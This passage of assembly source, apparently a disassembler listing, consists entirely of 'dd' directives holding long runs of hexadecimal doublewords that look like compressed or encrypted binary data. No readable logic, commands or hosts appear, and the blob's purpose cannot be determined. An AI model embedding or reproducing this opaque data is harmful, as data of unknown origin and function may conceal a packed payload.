1F342409h, 180E12B7h dd 0FE4E0ABEh, 464D0CD2h, 8B2FEBD8h, 64384DC7h, 74467E34h dd 3E5D1019h, 75122792h, 7AC6CF31h, 913E1726h, 0C4CCF147h dd 50BD4D8Dh, 6CA381F1h, 9483479Ch, 889B301h, 16A276D1h dd 0D0B8C309h, 165107Eh, 0CCFB28C2h, 6414432Ch, 0B833E410h dd 1DBB7F82h, 0CB330E2h, 90EC782Dh, 0AC90B80Dh, 0E060C812h dd 0BC8028C2h, 124C5224h, 70C4F088h, 0D0361C29h, 1563885h dd 0D8BAh, 0 dd 587501A5h, 7003096h, 0E612C77h, 751BAEEh, 0C4199909h dd 0F48FD06Dh, 3500706Ah, 0A3E963A5h, 9E6495h, 0EDB8832h dd 79DCB8A4h, 0D53D1E7Eh, 0D2D980E0h, 0B64C2B97h, 7CBD0009h dd 2D077EB1h, 9101E7B8h, 6490BF1Dh, 0F2D8B710h, 6AB00020h dd 0F3B97148h, 0BE0041DEh, 0DAD47D84h, 0FE4EB1Ah, 0B5516DDDh dd 85C7F420h, 560083D3h, 0C0136C98h, 646BA8h, 0FD62F97Ah dd 8A65C9ECh, 15C4F00h, 66CD914h, 3DE263h, 0DF5FA0Fh, 20C88D08h dd 5E3B6E00h, 0E44C6910h, 0D5600141h, 0A2677172h, 3C03E4D1h dd 4D44700h, 0D85FD4Bh, 0B56B03D2h, 0A8FAA50Ah, 986C35A8h dd 0D642B200h, 40DBBBC9h, 0ACBC1FF9h, 32D840E3h, 45DF5C75h dd 0D60DCF00h, 0D13D59DCh, 30AC07ABh, 13A26D9h, 0C88051DEh dd 1600C8D7h, 0B5BFD061h, 21B4F4h, 56B3C423h, 0CFBA9599h dd 0BDA50F07h, 2209EB8h, 880828h, 0D9B25F05h, 0E924C60Ch dd 87B10B00h, 112F6F7Ch, 5868004Ch, 0C1611DABh, 66002D3Dh dd 0DC4190B6h, 710676h, 20BC01DBh, 102A98D2h, 89EFD507h dd 1FE0B185h, 6B6B5h, 9FBFE4A5h, 0E8B8D433h, 7C9A203h dd 80F93478h, 0A88E0Fh, 98189609h, 0DBBE10Eh, 2D7F6A00h dd 97086D3Dh, 9164006Ch, 0E6635C01h, 6B7151F4h, 8161623Eh dd 6530D81Ch, 0D0C34E85h, 7D95EDF2h, 0A57B0006h, 0F4C11B01h dd 57008208h, 0C6F50FC4h, 65B0D9h, 12B7E950h, 8BBEB8EAh dd 0B9887C00h, 0DD1DDFFCh, 2D490762h, 0D0F315DAh, 4C658CD3h dd 58FBD401h, 0CE4DB261h, 703A2D20h, 0A3BC0074h, 0D4BB30E2h dd 0DF06A541h, 0D895D74Ah, 0D1C400C4h, 0D6F4FBA4h, 0E9006AD3h dd 0D9FC4369h, 46346Eh, 0D0AD6788h, 73DA60B8h, 44042D00h dd 33031DE5h, 0A4C005Fh, 0D7CC9AAh, 711E3CDDh, 41435005h dd 88102702h, 86BE0Bh, 25C90C20h, 0B35768B5h, 6F853Dh dd 0B966D409h, 61E49Fh, 0DEF90ECEh, 0D9C9985Eh, 8022293Ah dd 0A8B4B0D0h, 717C7D7h, 8159B33Dh, 3B2EA00Dh, 0B700BD5Ch dd 0C0BA6CADh, 1B88320h, 0BFB3B6EDh, 0D9E20C9Ah, 0B1D2D403h dd 47397401h, 77AFEAD5h, 159DE4h, 8304DB26h, 1273DC16h dd 0E3630B00h, 94643B84h, 6D6A073Eh, 575AA80Dh, 0ECFF07Ah dd 0FF079DE4h, 0AE279309h, 9EB10A00h, 447D3D07h, 0D2F00F00h dd 688708A3h, 1E01F200h, 6906C2FEh, 6257005Dh, 6567CBF7h dd 360F7180h, 0E0E7196Ch, 1B766E6Bh, 0E0FE00D4h, 5A89D32Bh dd 1000DA7Ah, 67DD4ACCh, 71B9DF6Fh, 0BEEF0EF9h, 0B763438Eh dd 0B0B0D517h, 0A338E860h, 937E80D6h, 0C2C4A1D1h, 523800D8h dd 0F14FDFF2h, 0CCFBBB67h, 0A600BC57h, 3FB506DDh, 0B2364Bh dd 0D2BDA48h, 0A1B4CD8h, 4AF6AF0Fh, 7A60C003h, 76C34104h dd 55DF39EFh, 0C0A8671Dh, 79316E8Eh, 460069BEh, 0CB61B38Ch dd 66831Ah, 6FD2A0BCh, 68E23625h, 77955200h, 4703CC0Ch dd 0B9BB000Bh, 2F220216h, 55030526h, 0C5BA3BBEh, 0B2BDF828h dd 0B45A0092h, 0B36A042Bh, 0FF00A75Ch, 0CF31C2D7h, 8BB5D0h dd 1D2CD99Eh, 0B05BDEAEh, 9B0064FCh, 0EC63F226h, 6AA39Ch dd 6D930A75h, 906A902h, 36003FF6h, 6785EB0Eh, 70137207h dd 82050057h, 1495BF4Ah, 0E200B87Ah, 7BB12BAEh, 0B61B38h dd 0D28E9B0Ch, 0D5BE0D92h, 0EFB7E500h, 0DF217CDCh, 0D40B3FDBh dd 4286D387h, 0F8F160E2h, 6800DDB3h, 1FDA836Eh, 0BE16CDh dd 0B9265B81h, 0B077E1F6h, 47046F73h, 5AE618B7h, 6A707EC0h dd 0CAFF000Fh, 5C66063Bh, 1179010Bh, 8F659E00h, 0F862AE69h dd 4C6BF2D3h, 6C00C561h, 0AE27816h, 0D200EEA0h, 8354D70Dh dd 0C24E04h, 613903B3h, 0F7A76726h, 0D0601600h, 4969474Dh dd 6E7700DBh, 0D16A4A3Eh, 5A00DCAEh, 0B66D9D6h, 0FF040DFh dd 5337D83Bh, 0C5A9BCC0h, 0DE00BB9Eh, 47B2CF7Fh, 0EB5FFE9h dd 0BDF21C30h, 0BAC28A21h, 0B393E4CAh, 0A3A65300h, 360524B4h dd 6ECFBD0h, 29CD00D7h, 0BF54DE57h, 2300D967h, 0B3667A2Eh dd 614AB8h, 681B02C4h, 6F2B945Dh, 0BE372A00h, 8EA1B40Bh dd 0C37F0Ch, 8D5A05DFh, 2E2D02EFh, 48000BAh, 541C4547h dd 489D2F20h, 3503B7Bh, 0D302E31h, 736FD00Ah, 203A1D74h dd 41147125h, 0F468E575h, 7A3B6972h, 6EEEF461h, 654E26C4h dd 0DD14C486h, 0D61DEA1Ah, 1C447004h, 7C271C7h, 0A7553F8Ch dd 0FF84C501h, 0CFF225Ch, 8D3F70F5h, 0C4105094h, 3462BF24h dd 2472C43Bh, 8C5C8030h, 40AC69F0h, 10460886h, 1862C015h dd 3A805198h, 0D4111CAh, 83126F07h, 0F04517CAh, 0E2AA8831h dd 9BE2E99h, 4C47C45Fh, 74424F3Eh, 457D48F0h, 5375507Dh dd 5443DCFBh, 9FE144F4h, 565E4D31h, 482352DFh, 306143Eh dd 6DD0137h, 2FA1003h, 456404EEh, 35210502h, 3C24430h dd 38282021h, 80758C0h, 307137E0h, 0B8F15779h, 17A3FC21h dd 0CB6860A9h, 70120367h, 0FF037816h, 3C6E45B8h, 0CD0F37FEh dd 70F0705h, 76E0728h, 56C0675h, 3FAA2953h, 0FBFBFE28h dd 795F171Eh, 2C310972h, 720D66C8h, 39707865h, 506F6DE0h dd 3F5F2464h, 7CC87968h, 61631160h, 21D67362h, 99208310h dd 5016663Fh, 10C41784h, 0B1866F6Ch, 65631B11h, 111BBE69h dd 0E3A86174h, 0FF36726Fh, 711F10BBh, 6514E872h, 34322B61h dd 42105A08h, 4BDA3C2Fh, 46683419h, 88B2F08h, 86082F45h dd 303167B6h, 77898111h, 0D5FD56C3h, 17EC080h, 80894150h dd 0F0477220h, 28737C49h, 0ED816F72h, 468A87DEh, 0A375CA6Ch dd 1C206FCBh, 27D6E4Ah, 4E52454Bh, 32336540h, 2B6535A0h dd 15E53071h, 2964A820h, 0DC169042h, 0A0102909h, 2AEA2908h dd 11C81910h, 1808A2D2h, 102D1A33h, 2828A51Eh, 8519CE7Ch dd 4DA13895h, 0CD39182Eh, 1C083D11h, 448EA318h, 18D0938Fh dd 2006B4BDh, 742033B8h, 332CA4BCh, 7010346Ch, 75720914h dd 6D6913B3h, 0D1BCED1Ch, 50B6F3CFh, 3842544Ch, 480ED253h dd 4945DFFCh, 0F2D474Eh, 504F44C0h, 0A54EFC4Dh, 36520112h dd 8D383230h, 90202D12h, 1E6C9E43h, 0A46F7490h, 4159394Ah dd 0CE52B07Ch, 147E681Ch, 28903870h, 6E123721h, 0F7CE21Bh dd 6867750Ah, 86707364h, 666A4896h, 770A76F1h, 665A3969h dd 3938858Bh, 0C4C2B4C6h, 9038B564h, 2E708935h, 6976A49Bh dd 448D16C7h, 51A668A0h, 0B6E72463h, 52A1FD1Ah, 60349428h dd 56D25FFCh, 2FBA0519h, 8207B2A0h, 38E312DDh, 0AF393160h dd 703B39F8h, 2164B3EDh, 0BB21A413h, 2CCAE837h, 25193859h dd 828ECE53h, 1A1A64C9h, 248158B4h, 6D2C1F37h, 0B0AD2033h dd 61C0819Dh, 2B2218A8h, 0CA306B63h, 3586DC18h, 0B4FE35E5h dd 0A318065Fh, 926D7244h, 82706701h, 0B6DE9F67h, 21FF9642h dd 71305E37h, 0F6503953h, 2642AB22h, 0B4E06D56h, 382C485Eh dd 0FACFF1D6h, 73298475h, 6151608Ah, 0B5D62C04h, 676E28DFh dd 0CBCF183h, 25A83BD5h, 8058E527h, 0D42E904Dh, 66333AC2h dd 79D7562Ch, 2B43AB10h, 3752EDE3h, 0A84C3A9Dh, 79E4B562h dd 0A30A28A1h, 4512175Dh, 2B210F23h, 0CD55024h, 2E41203Ah dd 3C1402DCh, 0E11BA4E6h, 6B5A344Dh, 336AA1DAh, 45ED8408h dd 4709F10Ch, 4C746517h, 4113101Dh, 0A76134Bh, 7516BFBFh dd 1928EF5Ah, 0A6425710h, 4D04E964h, 7E61E364h, 58427B67h dd 3107FB78h, 6E4E5123h, 0C311345Ch, 22854602h, 53194408h dd 7DAC1851h dd 60E2A88Ch, 0F688D508h, 0B4F88162h, 1021C221h, 8C666332h dd 0D276AC64h, 0BA6964AAh, 790D2672h, 4C8522FBh, 407E3158h dd 2C48625Bh, 201A8A14h, 968C5743h, 88E01227h, 64A541C4h dd 0C111B80Ch, 2B5D638Ah, 28DA5508h, 7B784883h, 0B246702Ah dd 6D730BD0h, 0B59E01E0h, 20090360h, 0BB199305h, 67384208h dd 0C6483C07h, 0B95311B5h, 69AD100Ch, 1046B13Ah, 0E306A0Ah dd 43DAE409h, 0C6844BBh, 4231FCC6h, 0A678F201h, 960860F4h dd 9502D10Eh, 0B4149009h, 299C400Ch, 10DB651Ch, 22482B02h dd 0C44C85C0h, 0FAD84803h, 29E84406h, 0B14C3C53h, 841B7E0Ch dd 3797E24h, 293C3444h, 0E2F85360h, 0A430B658h, 14705604h dd 78143CD0h, 18A9707Eh, 0A98F9C30h, 14A81464h, 288ACD4h dd 0F148F09Ah, 8C10D2CCh, 1CA46A90h, 30108868h, 0DC7F08EFh dd 0BC21B447h, 14850E4h, 423C609Eh, 42F42AB4h, 290490B8h dd 8E586878h, 774043DAh, 288160A6h, 0D1904F88h, 0CC6843ECh dd 981A090Ch, 681491CCh, 111C711Ch, 0F1196218h, 82880BDBh dd 0E4330391h, 929C8D9h, 688F74ACh, 80899161h, 4FECCCB1h dd 80427898h, 0FE2408E4h, 0C40F4479h, 68386B10h, 4014E985h dd 0DE44A885h, 1E808C71h, 95DC772Bh, 22CAA8A8h, 0BC85960h dd 40A102C8h, 3160BAC2h, 830810ECh, 6328AE02h, 71C4196Eh dd 81440814h, 8B82A114h, 2070199Ah, 405D0117h, 53524556h dd 4E4F4903h, 8F6C642Eh, 73FF5508h, 0 dd 0C3000000h, 40120503h, 88DB3C81h, 23F0EC08h, 0DA320701h dd 0B0D0141h, 0DF3EC142h, 4F620810h, 0E3140146h, 73A10C41h dd 1460E4Fh, 80060230h, 42549170h, 189A008h, 6372104Ch dd 1B581262h, 0C8B0810h, 3307E410h, 32D15945h, 0C7530111h dd 414088Eh, 0A242EA2h, 6310044Ah, 538B4F44h, 62614084h dd 665736Fh, 7620376Ch, 637B1834h, 849BEAF9h, 74721200h dd 642E3169h, 7B32F46Eh, 1C98EF67h, 4623286Dh, 4B754171h dd 256139CEh, 242E2E64h, 6E6977C3h, 721FBAC6h, 0BB7A6376h dd 7110D278h, 623A747Ch, 57196661h, 776F0639h, 40532073h dd 0EC66373h, 0E0346741h, 0FC24A42Dh, 0AEA0E579h, 782D1F25h dd 0A90A92Bh, 50046623h, 0F8A199C8h, 880991A8h, 48446822h dd 666F0053h, 72617774h, 4D1D5C65h, 0CFA86369h, 5FA91DDEh dd 75430DBCh, 0B69B3072h, 69E1CC56h, 52FBE36Fh, 0FA0CDFFh dd 0A14FA430h, 43A37576h, 4C4FA038h, 5931CE45h, 4DEA544Eh dd 70FBCE3Ch, 6C6D3CA6h, 0B0D3C70h, 12214CE1h, 8E8C47C2h dd 70237468h, 778B2F3Ah, 662E021Bh, 668E8F64h, 48F87462h dd 2F80446Eh, 7376787Ah, 0B9E7CFEBh, 6292040Fh, 0E0A63835h dd 18440928h, 1104890Ch, 0F40298FCh, 0E048EC24h, 0D022D891h dd 89BCC844h, 24AC12B4h, 919C48A0h, 80902294h, 53DB8801h dd 8CF25443h, 74488024h, 60226C91h, 89545844h, 244C1250h dd 91444848h, 6434223Ch, 4824092Ch, 700C9118h, 8197F888h dd 24E812F0h, 91D848E0h, 339842D0h, 22C011C8h, 0B044B809h dd 0AC118AA4h, 94119F9Ch, 8C19D42Bh, 9918411h, 4474227Ch dd 60896C70h, 48245412h, 34914048h, 28442C22h, 12148920h dd 4404240Ch, 0F40896FCh, 0E422EC91h, 89DCE044h, 24D412D8h dd 91CC48D0h, 44C022C8h, 0A889B0B8h, 9824A012h, 90919448h dd 91148829h, 447C2280h, 68897074h, 58246012h, 6454504Ah dd 91404848h, 442C2238h, 0C891820h, 0FC220412h, 9F40695h dd 89ECF044h, 24DC12E4h, 91C848D4h, 33B852B8h, 22A811B0h dd 8C449C09h, 12708984h, 46CC2A6Ch, 60641164h, 48485C09h dd 0E8523C91h, 30113833h, 44280922h, 14891820h, 8240C12h dd 0F820225Ch, 0E8F04494h, 0DC12E089h, 0D0475C2Ah, 4D489CC9h dd 10CC30F4h, 0C69A6909h, 65756174h, 0B86C10A1h, 0EE6D3E12h dd 0AC631624h, 8F73FB70h, 692B6206h, 118E216Bh, 522A5636h dd 3F76748h, 187A7078h, 694C6BF8h, 19688DFDh, 58655330h dd 0DD76216Dh, 7170F341h, 7964202Eh, 6362702Ch, 34EEA69h dd 376D6268h, 0F7BB7288h, 3B1A5A74h, 605071BBh, 2212A56Fh dd 4E62E114h, 31626401h, 56343332h, 616F0808h, 6552F93Ch dd 7F772D43h, 1451D182h, 7A1C1168h, 26B4102Fh, 100C26A4h dd 65E263EAh, 8402B084h, 0A32085DAh, 220CA310h, 0DCB48BC8h dd 0ACBC2B5Eh, 0BC5236FCh, 0E908786Fh, 62201875h, 6763EE69h dd 0FE661168h, 6D116BEEh, 1E431E36h, 1C58BD67h, 92756BD2h dd 0C9747E08h, 2A0F6E28h, 9A6541D4h, 26636467h, 0D4C5110Ch dd 300A7972h, 3228BC6Bh, 408B0884h, 7978C41h, 7ADADE4Ah dd 0A0683899h, 25FD3812h, 0BA9F4794h, 33BE6E90h, 2E286242h dd 73394861h, 6C085375h, 0DE6D1428h, 486B1538h, 0A0E4703Fh dd 6F6A4272h, 29C84668h, 2018696Dh, 0B2D48CBCh, 0DB44A695h dd 0BCA72E40h, 0CBF16246h, 5777181h, 83EE9D86h, 0EB367CAAh dd 35FC44EAh, 0CD023032h, 510C26D4h, 320808EFh, 39116B46h dd 595C9738h, 456D9632h, 1019B4C6h, 841829Ah, 309ACC2h dd 0F5F3FB68h, 9C280C39h, 6C7A9894h, 6770BC75h, 92D20CAEh dd 93529066h, 3745AE90h, 37A0EA08h, 3F0EF93Ah, 9CAA6BA9h dd 89B0C808h, 46227472h, 386E756Eh, 5E761ECAh, 745D0625h dd 9626E1EFh, 6C316842h, 0B77875A2h, 0F09EC011h, 6F30648Ch dd 95DBFF84h, 73622059h, 0F14A6C54h, 33640834h, 31E4B877h dd 1049A877h, 1F36359Ah, 0E9393837h, 0E7106E0Ch, 81B7208h dd 0CE086784h, 84099B11h, 0AC61191Bh, 64777050h, 20C465C2h dd 91288C08h, 93AEAAAEh, 0C80C48FCh, 4DF63D3Ch, 322CE86Dh dd 0C4634458h, 0E2F4891Ch, 0ECA314C5h, 23A4661Fh, 6775DF20h dd 50ABE5ACh, 90E0674Dh, 686864F8h, 6A323596h, 0A5E64E75h dd 69A1A50Ah, 3675C091h, 0F3EB7043h, 531C8DECh, 0E18E66DBh dd 8893D8Ch, 6EEB1D73h, 0C74FE3Ch, 69EC1DE5h, 230DC91Ch dd 452C0F9Ah, 5249F810h, 76204301h, 31322E36h, 0AF214BD9h dd 0EA64BE03h, 11AC24Dh, 422D6DBDh, 9CC279EDh, 0E1304720h dd 0DC1F3731h, 402AF0E1h, 0DD9C92A6h, 34032D40h, 622F702h dd 0E0E3F374h, 0F9614620h, 0A71E2F44h, 6890F8AAh, 3F5E36F3h dd 10086A2Ch, 833ABF3Fh, 3E64253Ch, 346C852Eh, 0BF24AB53h dd 33668E59h, 5CE6D25Fh, 5850B33Dh, 315A3874h, 982C33A9h dd 73637A70h, 41C05FA5h, 7F462F56h, 9F6B5957h, 14F6836Fh dd 642998F6h, 403A726Ch, 194B3011h, 42C6C444h, 2446D0F2h dd 9C62496h, 0B7084223h, 0A265455Dh, 257D70ABh, 0B792B9FFh dd 0C3A0E22h, 28065C1Ah, 0B80714h, 312C3803h, 6972562Dh dd 0D1C26C58h, 0A0460343h, 753A6C9Ch, 4349184Eh, 0A0D154Bh dd 4553550Dh, 30F11352h, 113A0594h, 41503861h, 61BC653h dd 444F4D89h, 0F8C3F45h, 482F41E1h, 5954D54Fh, 24640A11h dd 3A944D55h, 710F5C2Bh, 4381D5D5h, 0BB50C920h, 0B7A4CCDEh dd 21C0A570h, 9D2A4420h, 646613Eh, 0A89048E0h, 7962E8F1h dd 0A228A0CCh, 2906CA21h, 4F4E852Ch, 8EB61054h, 8483AC5h dd 66454125h, 28643624h, 0B9549510h, 54475A32h, 8CE259F2h dd 0D47476A5h, 869E1067h, 0EA58646Dh, 0CE3B0462h, 0CA2CB143h dd 80E85150h, 0D87E565Eh, 0A06152C4h, 2CEF6D4Ah, 5D6B3E39h dd 528290BEh, 4252A2A0h, 44A2B29Dh, 0C706E962h, 641342E5h dd 6D472895h, 4E59203Ah, 0EB52654Ah, 4427D266h, 0C66827E7h dd 0D1726F4Ah, 1065263Ch, 6923656Ch, 5B74D9A8h, 7D249320h dd 0C577D40Ah, 4CC03A49h, 0DDE3FDDAh, 0F648029Ah, 34F47492h dd 232C792Bh, 24AF7BE8h, 0CE6F4E42h, 81278608h, 4F2C66F0h dd 282E5777h, 70E4538Ch, 4688F6E3h, 9928C451h, 0C846E7E1h dd 663498DCh, 22784969h, 5048E8F7h, 1DD47313h, 0C8434E0Dh dd 4C6E64E4h, 0AA690627h, 0F664022Dh, 2487B34Ch, 2D2D469Ah dd 0D04BEC20h, 2F347596h, 0BD44418Ah, 0D066D3B6h, 0FA733D95h dd 0FA3260D2h, 6AC7E26Eh, 4E281EF4h, 7520054Ch, 0F55B8D70h dd 5827273Eh, 7679E538h, 0FA65DE71h, 8DF6A871h, 94C6B01Dh dd 9430879Ch, 62961C50h, 0DC96649Ah, 85725085h, 302A44FFh dd 23915046h, 3D522491h, 0ED442340h, 0A45710A4h, 0E01A5A91h dd 0BC9A09C2h, 4630448Ch, 2C976593h, 0A72E482Ch, 0C44C9240h dd 76CC6860h, 749A20DCh, 6974E532h, 0ED72194h, 4046723Eh dd 4C5255C2h, 0EE207C6Dh, 9D637224h, 0B9EC5ECFh, 0ABBA87A6h dd 6CE71C74h, 9ADF2D9Dh, 8E216C6Fh, 6D631454h, 73B23B64h dd 18A12845h, 90874594h, 0BEB17E51h, 3CFFB122h, 235A55B0h dd 0E8DD4A53h, 0BC90EC36h, 74D67C48h, 2EFE6463h, 0D8554B20h dd 0B058585Eh, 0A16B6E55h, 20F7779Ch, 741364BAh, 50357079h dd 0D758272Ah, 24568791h, 1C414EB3h, 6BC130C5h, 1A796525h dd 0E5905102h, 101C596Eh dd 383AB44Bh, 0B4411B0Fh, 249C7D45h, 0A32224E8h, 337A76FEh dd 67DE306Ah, 4728C325h, 40D04791h, 47A2D4D1h, 592C689h dd 5C5191BAh, 628305C9h, 9DBEE910h, 725A785Dh, 0C72A3387h dd 436D33B9h, 2CB2485Dh, 40299045h, 69B50452h, 0B707E4A1h dd 703A6517h, 1D142FAh, 67736DA4h, 1C7C1844h, 0A15D9941h dd 6867691Bh, 6C637985h, 4150DC60h, 5C249C52h, 4A934D49h dd 602D056Dh, 4445509Ah, 46B86C1Ah, 9463B8F1h, 28299455h dd 50F41CD0h, 34A41D47h, 28246944h, 0A024900Bh, 4E494F4Ah dd 18C8364Eh, 0A4E8CC96h, 414C9AEBh, 33CD6715h, 66A35163h dd 0BDDEA469h, 683CA14Ch, 4C57242Ch, 50D266D5h, 0DC5CC88Eh dd 0D275A5A7h, 699F69E3h, 54D93CE8h, 0C3E20B49h, 7050B53Bh dd 7128CA6Dh, 0B32E2950h, 5270662Ch, 925B29Bh, 0C41C8911h dd 4F3C919Fh, 0B348C477h, 3410A494h, 0CA64A918h, 29795A61h dd 3A03127Ch, 750B98E7h, 0A9A6C270h, 3BAAE681h, 6D934449h dd 62A64975h, 1CA7AF08h, 0B1D46866h, 69E22038h, 75D1F961h dd 0BB5714ADh, 482E145Fh, 97274AA9h, 8F6E97C2h, 2A3F52C3h dd 4C593C40h, 62123D61h, 0D768921h, 2562042Ch, 5A2A1952h dd 5AB9376Dh, 0E3B62853h, 17973845h, 47C12B63h, 0B599D21Ch dd 50BA1107h, 2E4A9E22h, 0D06AEC76h, 0DBEDB61Fh, 0F9900CEEh dd 3CC8B48Dh, 2C555371h, 7F2DD729h, 394EB2D5h, 292C0D74h dd 0B212A524h, 6BB33ED4h, 30747D4Bh, 70506D0Eh, 6E264924h dd 0A63E0276h, 0D6536D64h, 95A2A560h, 154A9B67h, 308AA0F0h dd 0AD47DA38h, 9B381ED2h, 7611AD12h, 0E4156229h, 967DB4CBh dd 1A8274CDh, 3C687C6Fh, 0BF4C4351h, 0ACA1BE64h, 6048B69Bh dd 0C6DDEED3h, 0EF58384Eh, 0D0D66F3Dh, 1A381DE9h, 2CF849D0h dd 0FE7EE829h, 0E466FB79h, 6771A1EDh, 7730897Ch, 0D06B1C95h dd 593847BAh, 3131ADB2h, 36188FEEh, 69B3EF25h, 37B8294Eh dd 0E4784256h, 0B27A72EDh, 49E48FE9h, 3327A09Fh, 3D974E89h dd 3A8AB690h, 3A634F08h, 4E1C46EBh, 4443EC7Fh, 50435482h dd 39EF38BBh, 14C533BAh, 7FA13624h, 40D815B5h, 40431D53h dd 0F364654Eh, 0DC63ECCAh, 8C7D4E25h, 6977352Fh, 252466F4h dd 6D4A28FEh, 365B784Ch, 0DA82AB5Dh, 8940EE3Eh, 1BA12A10h dd 41018010h, 4F495443h, 5BBD8F96h, 0D2BB4836h, 41313BB9h dd 904C5E74h, 0A53BE43Ch, 0D4F4A242h, 6BFE0916h, 39727411h dd 2D2D658Ah, 0F069EF24h, 39A4870Fh, 86E0A338h, 55D3433Fh dd 61A22D92h, 6F34536Eh, 6D8BF366h, 1EDA7C48h, 75416DD8h dd 8A977C22h, 90F048CDh, 2C25ABA0h, 0E006E08Bh, 70631850h dd 946669A8h, 344261B8h, 614149B9h, 735E712Ah, 85585219h dd 0BFCC7466h, 9F32ED55h, 26872997h, 95665A21h, 0DA30855Eh dd 2849280Dh, 0D32D8F6Fh, 5E7C318Dh, 398D9493h, 0A2113A04h dd 79620914h, 61A6E965h, 65D85EE2h, 2E020369h, 698D6C64h dd 92867C70h, 17A8D7C4h, 0AA3977D3h, 0DAFC6885h, 259DA2D3h dd 0DBB8F729h, 62A6FB2Dh, 3E032C14h, 79F109CBh, 84963A34h dd 0B7700B4Fh, 6B3868C4h, 0C6B9D8CAh, 421F6B70h, 0DC2D7496h dd 105650E1h, 7A6924A0h, 448D4C24h, 48C842B3h, 0D6676E46h dd 4D673288h, 613E1C78h, 97CBCB67h, 7581336Ch, 660211B7h dd 0E1796CDCh, 0B890344Ah, 0E28225F6h, 0B23A4312h, 1169B124h dd 224EF334h, 659C5316h, 58345C35h, 6B26B2BCh, 69D84BC1h dd 5A78393Fh, 95DA868Dh, 48EC216Ch, 66F86A65h, 1A9D1B69h dd 96CF4E70h, 1DB79Eh, 504D4349h, 9927CB91h, 0A7557690h dd 0D037DEB5h, 0D0B5536Bh, 75CA38E8h, 811147D3h, 91FD2E3Eh dd 9F125272h, 74297DD4h, 9E637450h, 3821D527h, 5AD44DCBh dd 48D13812h, 0F6CA6692h, 7C544EB2h, 347053C3h, 6FD46656h dd 707910B4h, 4B70B59h, 968AEC72h, 0E06B94B4h, 2FA3DC68h dd 17D3D4ECh, 0AA6DE4CCh, 246E4DBEh, 32F36965h, 0C63CE4ADh dd 8A722418h, 0ACC259Dh, 3A992D12h, 0F50AEC74h, 2D108644h dd 0ACA5D60Eh, 62A060D6h, 0D981A26Ah, 774B3E44h, 2E079C64h dd 6E65C1FDh, 0BC50F164h, 40B44304h, 4E315664h, 54484C43h dd 7CD650C5h, 0A6B34FE3h, 45542E42h, 2F64FE52h, 0F516DAAEh dd 62DED2B4h, 41480848h, 4E4B5ACFh, 0D308B098h, 98C5A21h dd 18B16014h, 0E4760832h, 0C70DB05h, 4140B784h, 0E25FF91Ch dd 516A0489h, 6D701018h, 1B9508A6h, 67196E10h, 0B5963015h dd 0D04C2DB6h, 414E0210h, 0DE4C455Ah, 5C282762h, 15BD6898h dd 89930C74h, 0CF79E9DCh, 6453F997h, 0CE79D376h, 2C26A41Bh dd 42058370h, 88D3FC09h, 734D69F8h, 13282404h, 0AB892995h dd 8B7A3C42h, 105E185Ah, 0CE851A6h, 388DDFBDh, 7E550C14h dd 466C2F38h, 0B80CB689h, 8D420853h, 5676929Eh, 0ADB0C93Ch dd 0F381CA10h, 8228A000h, 385FF305h, 44414803h, 33AB5445h dd 642BB069h, 7239C538h, 0D43C1770h, 7340939Eh, 1899D64Ah dd 957C10AAh, 0B49A8C1Ah, 0A0D40408h, 0D26A450Ch, 0C20F87Eh dd 0C18914EBh, 296D0C02h, 0C81277Ah, 0D10A1472h, 0BC489C77h dd 41D7945h, 0CAAF91A9h, 24164591h, 0A561510Ah, 6B3CC22Bh dd 0DCB2D471h, 9E96B3Ch, 2E97FFD0h, 1A684ED1h, 6B825C08h dd 537428BAh, 273A7579h, 392E959Fh, 72D7311Ch, 0B479933Bh dd 0F1AECFBh, 0AE9D2C1Ch, 4BF0BB21h, 1F847DBAh, 199C4E20h dd 936CA764h, 72970F53h, 3AE44155h, 0D0414220h, 7019908Ch dd 9C286695h, 94C62FA8h, 0FE84615Fh, 0CD2B406Dh, 43621A7Ah dd 6239E420h, 4C468323h, 2AA03992h, 0BAD7F324h, 33EE026Bh dd 243E5932h, 774DB4F6h, 0F8134B10h, 6C6F8926h, 5CED6B64h dd 0A5970890h, 0D83D6FF4h, 0E826735Dh, 1B539D5Ah, 0C4D84F20h dd 5A99B573h, 6B28E52Eh, 171D5B3Dh, 0BD58BEEAh, 0FEEE641Fh dd 2C8574A1h, 686D6527h, 5328AC1Ch, 9168BCD4h, 86B5D3E1h dd 0ED1F120Dh, 29D02C46h, 0D1F22AE4h, 0F12BB43Ch, 0DA4A7142h dd 7853CAECh, 0A19B5BD2h, 0F84DAF37h, 0F96868A1h, 9C1C8656h dd 0A30D6800h, 874394F7h, 0EA761C66h, 0A9E26548h, 852CB6C2h dd 5EE72929h, 0F7A13C8Dh, 0E87887F6h, 308DD4FDh, 0C672F429h dd 28208B8Ch, 0D7047210h, 63402840h, 0FF046D51h, 4AB0AD85h dd 106828E3h, 19761A10h, 114DF8D4h, 4047D31h, 672033ABh dd 415C0D5Ch, 628A3504h, 93CC59C8h, 92704832h, 22A0740Ch dd 6E64284Ch, 0B1737004h, 996F17F5h, 280863C4h, 0ABB70472h dd 5B4C925Eh, 2C322740h, 0D710C25h, 9FA7504h, 39265950h dd 70773694h, 496A6529h, 414C8A6Eh, 87C42BAFh, 648A9FACh dd 0F2472FA3h, 6DEDC625h, 458022Eh, 2A5AC957h, 0C767CD0Ah dd 5FA914B4h, 0E2930F91h, 495201E0h, 47534D56h, 42A2293Eh dd 149E7808h, 0AB660136h, 2C5EEF56h, 0AC760113h, 182BDE47h dd 4169CBC9h, 0D5CB8D2Bh, 0E2E43CFDh, 0CF125A9Ch, 979248ECh dd 4A688720h, 0E8FF68FAh, 4344D048h, 45E1E7E3h, 1C48DF4Eh dd 466F495Ah, 6F704103h, 0A425141Ch, 0BBB32FAAh, 3BA8DD5Fh dd 1A69AC49h, 9511A68h, 0A0525B1Fh, 0E858960Ch, 3F146E18h dd 21684CD1h, 690CA408h, 3832EE42h, 0B8A1FA51h, 0FC7BC848h dd 0B091E8B2h, 24990A9Ah, 40185B63h, 74A15F2Dh, 4DB8266Dh dd 9E354ECDh, 0AF56D2A6h, 0A992BA5Ch, 5F34D17Ah, 85029E36h dd 6EA632B4h, 5F3C54F9h dd 0DC2EDEDCh, 1024F422h, 0F8F41418h, 0E1F1B58Ch, 43FE3B6Fh dd 80DE4B1Bh, 0FDB540D0h, 91F696EFh, 5C8D5B4Ah, 5988E9A7h dd 0CE6724ABh, 0CFD32C14h, 7BBC753Ch, 0D93E92A7h, 73642585h dd 2824655Eh, 7DE470F8h, 0AD1C042Ch, 6E611268h, 39416BE7h dd 722D4338h, 0A92F744h, 2A700384h, 0A8686CADh, 2B3A4EADh dd 6976796Ch, 9EBF74C4h, 976686A8h, 58DB9EC4h, 